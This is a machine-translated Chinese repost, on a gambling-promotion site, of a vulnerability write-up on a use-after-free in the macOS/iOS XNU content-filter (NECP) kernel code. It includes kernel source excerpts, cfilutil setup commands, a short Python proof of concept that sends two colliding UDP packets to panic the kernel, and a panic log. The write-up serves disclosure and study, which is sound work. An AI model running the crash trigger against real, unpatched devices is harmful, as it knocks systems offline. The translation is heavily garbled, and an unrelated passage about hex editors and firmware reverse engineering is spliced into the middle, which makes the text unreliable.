iOS/macOS内容过滤器内核UAF破绽剖析和观点证实 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

iOS/macOS内容过滤器内核UAF破绽剖析和观点证实

申博_安全防护 申博 103次浏览 已收录 0个评论

概述

宣布了iOS 12.3和macOS 10.14.5版本。该更新中,修复了ZecOps研讨团队在2019年5月初自力发明的XNU内核中的Use-After-Free破绽。但是,在撰写本文时,ZecOps团队其实不清晰是不是已为该破绽分派CVE编号,因为在我们正准备向Apple表露此破绽的历程当中,该破绽就已被修复。

基于ZecOps要挟谍报,我们疑心要挟行动者正在应用这一破绽进击挪动装备管理(Mobile Device Management)用户。ZecOps正在延续展开调查,以确认这一点是不是属实。作为预防措施,ZecOps发起用户将iOS或macOS装备更新为最新的软件版本。

一旦初始代码实行完成,这个壮大的破绽能够许可进击者举行完全的装备接受。另外,能够从受监控装备上的沙箱中历程和应用程序完成此破绽应用。

破绽详细分析

网络扩大掌握战略(NECP)已在/bsd/net/necp.c中详细描述。

该模块的目的是许可客户端经由历程内核掌握套接字链接,以建立高级别战略会话,这些会话被提取到掌握、符号应用程序、套接字和IP层流量的低级别内核战略中。

从macOS 10.14和iOS 12版本最先,UDP支撑包罗增加到内容过滤器的渣滓网络(GC)线程。

/*
 * NECP FILTER CONTROL UNIT
 *
 * A user space filter agent uses the Network Extension Control Policy (NECP)
 * database to specify which TCP/IP sockets need to be filtered. The NECP
 * criteria may be based on a variety of properties like user ID or proc UUID.
 *
 * The NECP "filter control unit" is used by the socket content filter subsystem
 * to deliver the relevant TCP/IP content information to the appropriate
 * user space filter agent via its kernel control socket instance.
 * This works as follows:
 *
 * 1) The user space filter agent specifies an NECP filter control unit when
 *    in adds its filtering rules to the NECP database.
*/

函数cfil_sock_udp_get_flow起首查找当地地点/端口和长途地点/端口(laddr、lport、faddr、fport)组合的现有条目(下方代码示例中的Comment 1)。若是不存在已有条目,则会天生一个新的条目,并将其插进去到cfentry_link的头部。

cfdb_only_entry指针将一直指向最新的条目(下方代码中的Comment 2)。

随后,cfil_info_alloc将分派一个新的cfil_info对象,该对象中包罗独一标识符cfil_sock_id,然后将cfil_info插进去名为cfi_link的链表的尾部(下方代码中的Comment 3)。

struct cfil_hash_entry *
cfil_sock_udp_get_flow(struct socket *so, uint32_t filter_control_unit, bool outgoing, struct sockaddr *local, struct sockaddr *remote)
{
    ...
    // See if flow already exists.
    hash_entry = cfil_db_lookup_entry(so->so_cfil_db, local, remote);//Comment 1: Check for existing entry
    if (hash_entry != NULL) {
        return (hash_entry);
    }
 
    hash_entry = cfil_db_add_entry(so->so_cfil_db, local, remote);//Comment 2
    if (hash_entry == NULL) {
        OSIncrementAtomic(&cfil_stats.cfs_sock_attach_no_mem);
        CFIL_LOG(LOG_ERR, "CFIL: UDP failed to add entry");
        return (NULL);
    }
 
    if (cfil_info_alloc(so, hash_entry) == NULL || // Comment 3
        hash_entry->cfentry_cfil == NULL) {
        cfil_db_delete_entry(so->so_cfil_db, hash_entry);
        CFIL_LOG(LOG_ERR, "CFIL: UDP failed to alloc cfil_info");
        OSIncrementAtomic(&cfil_stats.cfs_sock_attach_no_mem);
        return (NULL);
    }
    ...
}

GC线程每隔10秒叫醒一次,它会将逾期套接字的sock_id增加到名为expired_array的列表中(下面代码中的Comment [a]),然后在另一个轮回(Comment)中开释expired_array中的cfil_info。

cfil_info_udp_expire(void *v, wait_result_t w)
{
...
 
    TAILQ_FOREACH(cfil_info, &cfil_sock_head, cfi_link) {
        if (expired_count >= UDP_FLOW_GC_MAX_COUNT)
            break;
 
        if (IS_UDP(cfil_info->cfi_so)) {
            if (cfil_info_idle_timed_out(cfil_info, UDP_FLOW_GC_IDLE_TO, current_time) ||
                cfil_info_action_timed_out(cfil_info, UDP_FLOW_GC_ACTION_TO) ||
                cfil_info_buffer_threshold_exceeded(cfil_info)) {
                expired_array[expired_count] = cfil_info->cfi_sock_id;//[a]
                expired_count++;
            }
        }
    }
    cfil_rw_unlock_shared(&cfil_lck_rw);
 
    if (expired_count == 0)
        goto go_sleep;
 
    for (uint32_t i = 0; i < expired_count; i++) {
 
        // Search for socket (UDP only and lock so)
        so = cfil_socket_from_sock_id(expired_array[i], true);//[b]
        if (so == NULL) {
            continue;
        }
 
        cfil_info = cfil_db_get_cfil_info(so->so_cfil_db, expired_array[i]);
...
        cfil_db_delete_entry(db, hash_entry);
        cfil_info_free(cfil_info);//
...
}

cfdb_only_entry应当在函数cfil_db_delete_entry中设置为NULL。但是,db->cfdb_only_entry = NULL;(第25行)永久不会实行。

iOS/macOS内容过滤器内核UAF破绽剖析和观点证实

我们细致检察cfil_db_get_cfil_info函数,当只剩下一个条目(疾速途径)时,将实行分歧的途径,以取得更好的机能。

struct cfil_info *
cfil_db_get_cfil_info(struct cfil_db *db, cfil_sock_id_t id)
{
    struct cfil_hash_entry *hash_entry = NULL;
 
    ...
 
    // This is an optimization for connected UDP socket which only has one flow.
    // No need to do the hash lookup.
    if (db->cfdb_count == 1) { //fast path
        if (db->cfdb_only_entry && db->cfdb_only_entry->cfentry_cfil &&
            db->cfdb_only_entry->cfentry_cfil->cfi_sock_id == id) {
            return (db->cfdb_only_entry->cfentry_cfil);
        }
    }
 
    hash_entry = cfil_db_lookup_entry_with_sockid(db, id);
    return (hash_entry != NULL ? hash_entry->cfentry_cfil : NULL);
}

若是两个分歧的cfil_info对象具有雷同的cfil_sock_id,则会发送以下游:

在第一个轮回中,cfil_db_get_cfil_info返回entry2,这是cfentry_link的第一个元素,将在今后的实行历程当中开释。

在第二个轮回中,cfil_db_get_cfil_info进入疾速途径,并返回由cfdb_only_entry指向的对象(即已开释的entry2)。因而,内核将在后续实行历程当中,因Use-After-Free破绽而发作瓦解(Panic)。

+--------------------+       +-----------------+
|   entry 2         <--------+ cfdb_only_entry |
+--------------------+       +-----------------+
|   entry 1          |
+--------------------+

破绽复现历程

为了天生cfil_sock_id碰撞,我们起首须要晓得怎样构建cfil_sock_id。

cfi_sock_id由so_gencnt、faddr、laddr、fport和lport盘算获得。

so_gencnt是套接字的天生计数,针对单个套接字,该值连结稳定。较高的32位来自so_gencnt,而较低的32位是基于laddr、faddr、lport和fport的运算效果。

#define CFIL_HASH(laddr, faddr, lport, fport) ((faddr) ^ ((laddr) >> 16) ^ (fport) ^ (lport))
hashkey_faddr = entry->cfentry_faddr.addr46.ia46_addr4.s_addr;
hashkey_laddr = entry->cfentry_laddr.addr46.ia46_addr4.s_addr;
entry->cfentry_flowhash = CFIL_HASH(hashkey_laddr, hashkey_faddr,
                                entry->cfentry_lport,entry->cfentry_fport);
// This is the UDP case, cfil_info is tracked in per-socket hash
cfil_info->cfi_so = so;
hash_entry->cfentry_cfil = cfil_info;
cfil_info->cfi_hash_entry = hash_entry;
cfil_info->cfi_sock_id = ((so->so_gencnt << 32) | (hash_entry->cfentry_flowhash & 0xffffffff));
CFIL_LOG(LOG_DEBUG, "CFIL: UDP inp_flowhash %x so_gencnt %llx entry flowhash %x sockID %llx",
         inp->inp_flowhash, so->so_gencnt, hash_entry->cfentry_flowhash, cfil_info->cfi_sock_id);

发送两个雷同的UDP请求,将只会天生一个cfil_info对象,而且laddr、lport、faddr、fport中最少有一个值应当是分歧的,因而在cfil_db_lookup_entry以后,函数cfil_sock_udp_get_flow不会马上返回。

固件逆向分析过程中的工具和技巧

hex editor的使用 hex editor是一款使用简单的十六进制编辑工具,能快速对数字进行十六进制转换操作,它运行于windows平台,它能够编辑xml文件进行修改二进制数据。软件支持Undo、插入、覆盖、搜索、比较等编辑模式。 十六进制转换操作是个复杂的过程,在此我们推荐hex editor,这对固件逆向分析可能很有用。说实话,至今我都还没能找到我理想中的十六进制编辑工具。我希望有一些分析内容可以直接被显示为二进制文件,为任何给定的公共架构找到有效的字节码,可视化熵(包括字节码),允许做笔记和高亮显示,列表字符串等等。 在实践中,我倾向于使用HxD来做一些基本的工作,使用wxHexEditor来做笔记和高亮显示,如下所示: 目前市场上有很多十六进制编辑工具,所以你选择使用哪一个将取决于个人偏好,建议你多试几个。 固件中的文件是否被加密? 你可能会遇到以某种方式加密的固件文件,遇到这种情况,首先,你需要了解是整个文件被加密,还是某个数据库被加密。如果文件是加密的,你可能还想快速了解它的加密执行情况。 这些分析工作是很难在字符行中一行一行手动分析的,你最好尝试从更高层全面了解文件的字符行。 计算出熵变是了解任何给定字节序列的压缩或加密方式的一种非

struct cfil_hash_entry *
cfil_db_lookup_entry(struct cfil_db *db, struct sockaddr *local, struct sockaddr *remote)
{
    ...
        if (nextentry->cfentry_lport == matchentry.cfentry_lport &&
            nextentry->cfentry_fport == matchentry.cfentry_fport &&
            nextentry->cfentry_laddr.addr46.ia46_addr4.s_addr == matchentry.cfentry_laddr.addr46.ia46_addr4.s_addr &&
            nextentry->cfentry_faddr.addr46.ia46_addr4.s_addr == matchentry.cfentry_faddr.addr46.ia46_addr4.s_addr) {
            return nextentry;
        }
    ...
}

总而言之,为了重现上述的瓦解(Panic),我们须要发送知足以下两个前提的UDP请求:

1. 具有雷同的so_gencnt,也就是雷同的套接字对象;

2. 具有雷同的flowhash;

3. 具有分歧的地点或端口。

经由历程组织特定的faddr、fport值,能够知足上述请求。

PoC布置情况

除非装备已启用了MDM,否则在macOS上运转PoC能够不会见效。要触发此破绽,装备应当知足以下前提:

1. 最少附加了一个内容过滤器(Content Filter);

2. 影响UDP请求的NECP战略被增加到NECP数据库;

3. 受影响的NECP战略和附加的内容过滤器具有雷同的filter_control_unit。

cfil_sock_udp_handle_data(bool outgoing, struct socket *so,
                          struct sockaddr *local, struct sockaddr *remote,
                          struct mbuf *data, struct mbuf *control, uint32_t flags)
{
...
 
    if (cfil_active_count == 0) {//[a]
        CFIL_LOG(LOG_DEBUG, "CFIL: UDP no active filter");
        OSIncrementAtomic(&cfil_stats.cfs_sock_attach_in_vain);
        return (error);
    }
    
    filter_control_unit = necp_socket_get_content_filter_control_unit(so);//[b]
    if (filter_control_unit == 0) {
        CFIL_LOG(LOG_DEBUG, "CFIL: UDP failed to get control unit");
        return (error);
    }
...
    
    hash_entry = cfil_sock_udp_get_flow(so, filter_control_unit, outgoing, local, remote);
    if (hash_entry == NULL || hash_entry->cfentry_cfil == NULL) {
        CFIL_LOG(LOG_ERR, "CFIL: Falied to create UDP flow");
        return (EPIPE);
    }
...
}

默许情况下,内容过滤器不会被集火,我们须要手动增加它。详细而言,我们须要运转Apple的network-cmds cfilutil。须要注重的是,cfilutil不是预先装置的东西,我们能够须要从源代码对其举行编译。

因为[a]行的搜检将经由历程,因而下面的敕令将激活内容过滤器:

sudo cfilutil -u [control_unit]

Control_unit是一个整数值,应当与filter_control_unit中的NECP战略雷同。

sudo cfilutil -u 100

观点证实(PoC)代码

PoC代码异常简朴,只须要几行Python代码便可轻松完成。在运转PoC代码后,装备将在几秒钟后发作瓦解(Panic)。PoC中的地点和端口组合是分歧的,同时它们具有雷同的flowhashin内容过滤器:

# PoC - CVE-2019-XXXX by ZecOps Research Team ©
# © ZecOps.com - Find and Leverage Attacker’s Mistakes™
# Intended only for educational purposes
# Considered as confidential under NDA until responsible disclosure
# Not for sale, not for sharing, use at your own risk
 
import socket
 
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
msg = b'ZecOps'
address = ('192.168.1.5', 8080)
s.sendto(msg, address)
 
address = ('193.168.1.5', 7824)
s.sendto(msg, address)
s.close()

在实行PoC后,macOS上天生了以下瓦解(Panic)信息:

*** Panic Report ***
panic(cpu 0 caller 0xffffff800c014cae): Kernel trap at 0xffffff800c285638, type 13=general protection, registers:
CR0: 0x000000008001003b, CR2: 0x0000000108c06ab0, CR3: 0x000000000f375000, CR4: 0x00000000001606e0
RAX: 0xffffff80195b67d0, RBX: 0xffffff800cac6d90, RCX: 0x0100000100000000, RDX: 0x0000000100000000
RSP: 0xffffff8067563f60, RBP: 0xffffff8067563fa0, RSI: 0xffffff8067563c58, RDI: 0xffffff804660f000
R8:  0x0000001078d5b42a, R9:  0x0000000000000000, R10: 0xffffff8046610520, R11: 0x0000000000000000
R12: 0xc0ffee4fc790eb7a, R13: 0x0000000000000000, R14: 0xffffff801638cba0, R15: 0xffffff80195cee88
RFL: 0x0000000000010282, RIP: 0xffffff800c285638, CS:  0x0000000000000008, SS:  0x0000000000000010
Fault CR2: 0x0000000108c06ab0, Error code: 0x0000000000000000, Fault CPU: 0x0 VMM, PL: 0, VF: 0
 
Backtrace (CPU 0), Frame : Return Address
0xffffff800bd5d280 : 0xffffff800be8e46d
0xffffff800bd5d2d0 : 0xffffff800c025436
0xffffff800bd5d310 : 0xffffff800c014a62
0xffffff800bd5d380 : 0xffffff800be29ae0
0xffffff800bd5d3a0 : 0xffffff800be8db2b
0xffffff800bd5d4d0 : 0xffffff800be8d953
0xffffff800bd5d540 : 0xffffff800c014cae
0xffffff800bd5d6b0 : 0xffffff800be29ae0
0xffffff800bd5d6d0 : 0xffffff800c285638
0xffffff8067563fa0 : 0xffffff800be290ce
 
BSD process name corresponding to current thread: kernel_task

修复补钉

在装置macOS 10.14.5和iOS 12.3的补钉以后,db->cfdb_only_entry = NULL;(第18行)能够准确实行。

iOS/macOS内容过滤器内核UAF破绽剖析和观点证实

平安发起

ZecOps要挟取证团队发起用户应当将iOS装备更新到最新版本。这样一来,就能够有用提防此类破绽应用,并使破绽应用链无效。随之,在受影响的MDM装备上应用此破绽的要挟参与者将落空持久性。在Apple iOS更新后,底本受影响的装备也将被镌汰。若是用户疑心本身的装备受到此破绽的进击,能够与ZecOps联络。

现在,我们已与环球抢先的协作伙伴、经销商、分销商和立异平安团队展开协作,若是想要进一步相识我们的事情,能够与我们取得联络。

若是研讨人员针对我们所做的破绽研讨、破绽应用、数字取证和事宜相应感兴趣,能够到场ZecOps Reverse Bounty设计。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明iOS/macOS内容过滤器内核UAF破绽剖析和观点证实
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址